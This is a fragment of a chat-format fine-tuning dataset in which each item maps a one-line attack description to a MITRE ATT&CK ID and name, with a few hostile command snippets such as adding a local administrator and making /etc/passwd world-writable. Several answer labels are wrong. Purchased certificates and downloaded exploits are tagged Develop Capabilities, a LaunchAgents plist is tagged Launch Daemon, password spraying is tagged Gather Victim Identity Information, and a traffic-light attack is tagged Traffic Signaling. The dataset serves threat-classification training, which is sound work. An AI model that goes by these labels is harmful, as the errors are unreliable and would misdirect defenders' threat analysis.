                "content": "By exploiting an API key, the attacker programmatically retrieves code packages from a package registry tied to a source repo."
            },
            {
                "role": "assistant",
                "content": "T1213.003 - Data from Information Repositories: Code Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor used the Windows Connection Manager Profile Installer (cmstp.exe) to run a PowerShell payload hidden in an INF file."
            },
            {
                "role": "assistant",
                "content": "T1218.003 - System Binary Proxy Execution: CMSTP"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious script communicated with the C2 server through a compromised WordPress site, using standard HTTP POST requests."
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code accesses the container runtime's unsecured REST endpoint to enumerate and exfiltrate image pull credentials."
            },
            {
                "role": "assistant",
                "content": "T1552.007 - Unsecured Credentials: Container API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary uses the Windows 'at' command to schedule a malicious script to run with SYSTEM privileges at 3 AM."
            },
            {
                "role": "assistant",
                "content": "T1053.002 - Scheduled Task/Job: At"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor queries Azure AD Graph to pull a full list of cloud service accounts from the victim's tenant."
            },
            {
                "role": "assistant",
                "content": "T1087.004 - Account Discovery: Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use a compromised Microsoft Teams webhook to transfer collected logs out of the network."
            },
            {
                "role": "assistant",
                "content": "T1567.004 - Exfiltration Over Web Service: Exfiltration Over Webhook"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team operators executed a command on the captive portal to list all ACL entries on the perimeter switch."
            },
            {
                "role": "assistant",
                "content": "T1590.006 - Gather Victim Network Information: Network Security Appliances"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing email directed at a finance analyst contains a hyperlink to a rogue banking website that mimics the company's internal portal and records entered banking details."
            },
            {
                "role": "assistant",
                "content": "T1566.002 - Phishing: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker exploits a misconfigured AWS IAM policy to provision a new user account with administrative privileges."
            },
            {
                "role": "assistant",
                "content": "T1136.003 - Create Account: Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary launches a legitimate Windows utility with crafted command-line arguments that mimic a trusted process, causing security tools to attribute the malicious activity to the benign binary."
            },
            {
                "role": "assistant",
                "content": "T1564.010 - Hide Artifacts: Process Argument Spoofing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses the 'ldapsearch' utility with filter '(sAMAccountName=*)' to enumerate all domain accounts."
            },
            {
                "role": "assistant",
                "content": "T1087.002 - Account Discovery: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors download an exploit for a DLL hijacking vulnerability and embed it in their loader to broaden their malware distribution."
            },
            {
                "role": "assistant",
                "content": "T1587.004 - Develop Capabilities: Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker obtained a phishing credential and accessed the victim's Office 365 admin dashboard to create a forwarding rule for all inbound mail."
            },
            {
                "role": "assistant",
                "content": "T1538 - Cloud Service Dashboard"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware encodes data using Base64 and sends it via SMTP as part of the email body."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A custom loader adds extra, non‑executing bytes to the malware binary, changing its checksum and evading integrity checks."
            },
            {
                "role": "assistant",
                "content": "T1027.001 - Obfuscated Files or Information: Binary Padding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By creating a new COM server with a forged GUID and inserting it into the HKCU\\Software\\Classes key, the threat actor forces a privileged process to load their malicious code."
            },
            {
                "role": "assistant",
                "content": "T1546.015 - Event Triggered Execution: Component Object Model Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware exfiltrates stolen documents by uploading them to a remote FTP server."
            },
            {
                "role": "assistant",
                "content": "T1071.002 - Application Layer Protocol: File Transfer Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a credential dumping technique on the DC to extract TGTs and then modifies them for lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1556.001 - Modify Authentication Process: Domain Controller Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware queries the Windows Registry for mail client configuration and reads the user's local mail store."
            },
            {
                "role": "assistant",
                "content": "T1114.001 - Email Collection: Local Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages the device registration API to associate a counterfeit device with a privileged user’s account."
            },
            {
                "role": "assistant",
                "content": "T1098.005 - Account Manipulation: Device Registration"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker fragments large credential dumps into many tiny files and uploads them via separate HTTP POSTs to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1030 - Data Transfer Size Limits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware leverages Windows Management Instrumentation (WMI) to run scripts that reside in the registry, ensuring no artifacts are written to disk."
            },
            {
                "role": "assistant",
                "content": "T1027.011 - Obfuscated Files or Information: Fileless Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker crafts a social engineering phone call that convinces the user to download and run a fake software update from a malicious website."
            },
            {
                "role": "assistant",
                "content": "T1204 - User Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT28 exploits the Distributed Component Object Model protocol to move laterally across the network by invoking methods on remote objects."
            },
            {
                "role": "assistant",
                "content": "T1021.003 - Remote Services: Distributed Component Object Model"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor leverages a custom lightweight symmetric cipher to protect command messages sent over a UDP tunnel."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Encrypted Channel: Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By inserting a malicious executable path at the beginning of the PATH environment variable, the adversary ensures their payload is run instead of the intended legitimate binary."
            },
            {
                "role": "assistant",
                "content": "T1574.008 - Hijack Execution Flow: Path Interception by Search Order Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan monitors the clipboard for copied passwords and sends them to a command and control server."
            },
            {
                "role": "assistant",
                "content": "T1056 - Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A macro-enabled Office document drops a PowerShell script that leverages .NET functions to log keyboard input and store the data in the user's TEMP directory."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware injects a custom LC_LOAD_DYLIB entry into a legitimate binary, causing the system to load the attacker's library automatically."
            },
            {
                "role": "assistant",
                "content": "T1546.006 - Event Triggered Execution: LC_LOAD_DYLIB Addition"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set uses a custom protocol over port 31337, a well‑known non‑standard port in hacking culture, to hide its command channel."
            },
            {
                "role": "assistant",
                "content": "T1571 - Non-Standard Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious software registers a Netsh helper DLL as a COM object, causing code execution when netsh is executed."
            },
            {
                "role": "assistant",
                "content": "T1546.007 - Event Triggered Execution: Netsh Helper DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker uses PowerShell to generate a service account on the domain controller."
            },
            {
                "role": "assistant",
                "content": "T1136 - Create Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The ransomware dropped a batch file that ran `net use \\\\evil\\share /delete` to remove the network share mapping and hide its activity."
            },
            {
                "role": "assistant",
                "content": "T1070.005 - Indicator Removal: Network Share Connection Removal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors obtain a legitimate code‑signing certificate by purchasing it from an online black market."
            },
            {
                "role": "assistant",
                "content": "T1587.003 - Develop Capabilities: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker used SNMP queries to enumerate the firewall configuration and identify allowed ports on the victim's perimeter router."
            },
            {
                "role": "assistant",
                "content": "T1590.006 - Gather Victim Network Information: Network Security Appliances"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious code renames the security tool executable to bypass startup checks."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code queries the Linux syslog file (/var/log/syslog) to gather information about system events."
            },
            {
                "role": "assistant",
                "content": "T1654 - Log Enumeration"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary employs the Windows built‑in COM object for Cabinet files to package harvested credentials."
            },
            {
                "role": "assistant",
                "content": "T1560.002 - Archive Collected Data: Archive via Library"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers manipulate the PATH variable to prioritize a malicious version of a common command, thereby hijacking the execution flow of scripts and applications."
            },
            {
                "role": "assistant",
                "content": "T1574.007 - Hijack Execution Flow: Path Interception by PATH Environment Variable"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware sample was found to be packed with a known commercial packer, which obscures the original code and evades signature‑based detection."
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code employs port knocking by transmitting TCP SYN packets to predetermined ports in a set order, which then activates a hidden service for further exploitation."
            },
            {
                "role": "assistant",
                "content": "T1205.001 - Traffic Signaling: Port Knocking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries replace legitimate MFA push notifications with spoofed ones to capture user approvals and gain access."
            },
            {
                "role": "assistant",
                "content": "T1556.006 - Modify Authentication Process: Multi-Factor Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Actor obtains access to the Docker socket and issues commands to list and manipulate containers."
            },
            {
                "role": "assistant",
                "content": "T1609 - Container Administration Command"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion activity included granting 'Everyone' full control over a shared network folder via GUI."
            },
            {
                "role": "assistant",
                "content": "T1222.001 - File and Directory Permissions Modification: Windows File and Directory Permissions Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor executed a malicious script that used the chmod command to set world-writable permissions on /etc/passwd, allowing unauthorized modifications."
            },
            {
                "role": "assistant",
                "content": "T1222.002 - File and Directory Permissions Modification: Linux and Mac File and Directory Permissions Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through exploitation of a web application, the adversary drops a cron file in /etc/cron.hourly that runs a data exfiltration script."
            },
            {
                "role": "assistant",
                "content": "T1053.003 - Scheduled Task/Job: Cron"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors compromise a template file used by Outlook, inserting code that runs whenever Outlook starts."
            },
            {
                "role": "assistant",
                "content": "T1137 - Office Application Startup"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors harvest certificate data from public Certificate Authority logs to identify potential exploitation points."
            },
            {
                "role": "assistant",
                "content": "T1596.003 - Search Open Technical Databases: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses a malicious image stored in a public Docker Hub repository to infect victim machines when pulled."
            },
            {
                "role": "assistant",
                "content": "T1610 - Deploy Container"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leveraged a compromised admin account to retrieve the entire configuration of a network router through the web UI."
            },
            {
                "role": "assistant",
                "content": "T1602.002 - Data from Configuration Repository: Network Device Configuration Dump"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By leveraging Cloudflare's infrastructure, the malicious actor forwards malicious payloads to target servers while appearing to communicate with allowed domains."
            },
            {
                "role": "assistant",
                "content": "T1090.004 - Proxy: Domain Fronting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised system configures a Nomad periodic batch to execute a PowerShell script that establishes persistence."
            },
            {
                "role": "assistant",
                "content": "T1053.007 - Scheduled Task/Job: Container Orchestration Job"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A piece of malware applies binary padding by inserting non-operational bytes, aiming to bypass sandbox detection."
            },
            {
                "role": "assistant",
                "content": "T1027.001 - Obfuscated Files or Information: Binary Padding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leverages a scheduled task that runs \"net localgroup administrators /add\" to add a newly created local user \"sysadmin\"."
            },
            {
                "role": "assistant",
                "content": "T1136.001 - Create Account: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor disables the auditd service on a Linux server to stop command execution records from being written."
            },
            {
                "role": "assistant",
                "content": "T1562.003 - Impair Defenses: Impair Command History Logging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker purchases a legitimate code‑signing certificate using stolen personal information and applies it to malicious installers."
            },
            {
                "role": "assistant",
                "content": "T1587.003 - Develop Capabilities: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary employs binary padding by filling sections of the file with irrelevant data to disrupt reverse engineering tools."
            },
            {
                "role": "assistant",
                "content": "T1027.001 - Obfuscated Files or Information: Binary Padding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker runs a scheduled task that encrypts any newly created files on the system every hour."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor surveys network trust dependencies by enumerating VPN trust relationships and site‑to‑site tunnels."
            },
            {
                "role": "assistant",
                "content": "T1590.003 - Gather Victim Network Information: Network Trust Dependencies"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A credential‑stealing module uses a transparent overlay to capture user input on login screens."
            },
            {
                "role": "assistant",
                "content": "T1056.002 - Input Capture: GUI Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware spreads laterally by scanning for open SSH ports and using default credentials to log in."
            },
            {
                "role": "assistant",
                "content": "T1021.004 - Remote Services: SSH"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An insider plants a script on the traffic signal control PC that periodically resets the signal controller firmware, causing intermittent loss of signal coordination."
            },
            {
                "role": "assistant",
                "content": "T1205 - Traffic Signaling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker installs a malicious Excel COM add‑in that runs automatically when the user opens any Office document."
            },
            {
                "role": "assistant",
                "content": "T1137.006 - Office Application Startup: Add-ins"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware enumerates all configured wireless profiles to identify accessible Wi‑Fi access points."
            },
            {
                "role": "assistant",
                "content": "T1016.002 - System Network Configuration Discovery: Wi‑Fi Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious script constructs DNS queries using a rotating list of domain prefixes, effectively calculating new domains for each session."
            },
            {
                "role": "assistant",
                "content": "T1568.003 - Dynamic Resolution: DNS Calculation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers infiltrate the supply chain of IoT thermostats, inserting a malicious update mechanism that periodically contacts a remote server."
            },
            {
                "role": "assistant",
                "content": "T1195.003 - Supply Chain Compromise: Compromise Hardware Supply Chain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor implements a server-side rule that automatically forwards all emails from a specific distribution list to an external email."
            },
            {
                "role": "assistant",
                "content": "T1114.003 - Email Collection: Email Forwarding Rule"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker drops a launch daemon plist in ~/Library/LaunchAgents that runs a downloader script whenever the user logs in."
            },
            {
                "role": "assistant",
                "content": "T1543.004 - Create or Modify System Process: Launch Daemon"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses the \"curl ifconfig.me\" command to discover the external IP address of the infected machine."
            },
            {
                "role": "assistant",
                "content": "T1016.001 - System Network Configuration Discovery: Internet Connection Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware performs a password spray attack against Azure AD and records any valid credentials it discovers."
            },
            {
                "role": "assistant",
                "content": "T1589.001 - Gather Victim Identity Information: Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The script attempts to open \"\\\\.\\VBoxMiniRdrDX\" to determine if it is running inside a VirtualBox sandbox."
            },
            {
                "role": "assistant",
                "content": "T1497.001 - Virtualization/Sandbox Evasion: System Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary exploits a vulnerability in a popular voice‑assistant app to gain continuous microphone access and streams the audio to a hidden server."
            },
            {
                "role": "assistant",
                "content": "T1123 - Audio Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware performs a brute‑force on the default 'admin' account of a network switch after scanning for open management ports."
            },
            {
                "role": "assistant",
                "content": "T1078.001 - Valid Accounts: Default Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Describe a scenario where an adversary uses social engineering to gain access to sensitive areas of a system, provide the corresponding MITRE ATT&CK ID and Name."
            },
            {
                "role": "assistant",
                "content": "T1204 - User Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan modifies the Windows Credential UI to intercept and log credentials entered into the login dialog via API hooking."
            },
            {
                "role": "assistant",
                "content": "T1056.004 - Input Capture: Credential API Hooking"
            }
        ]
    },
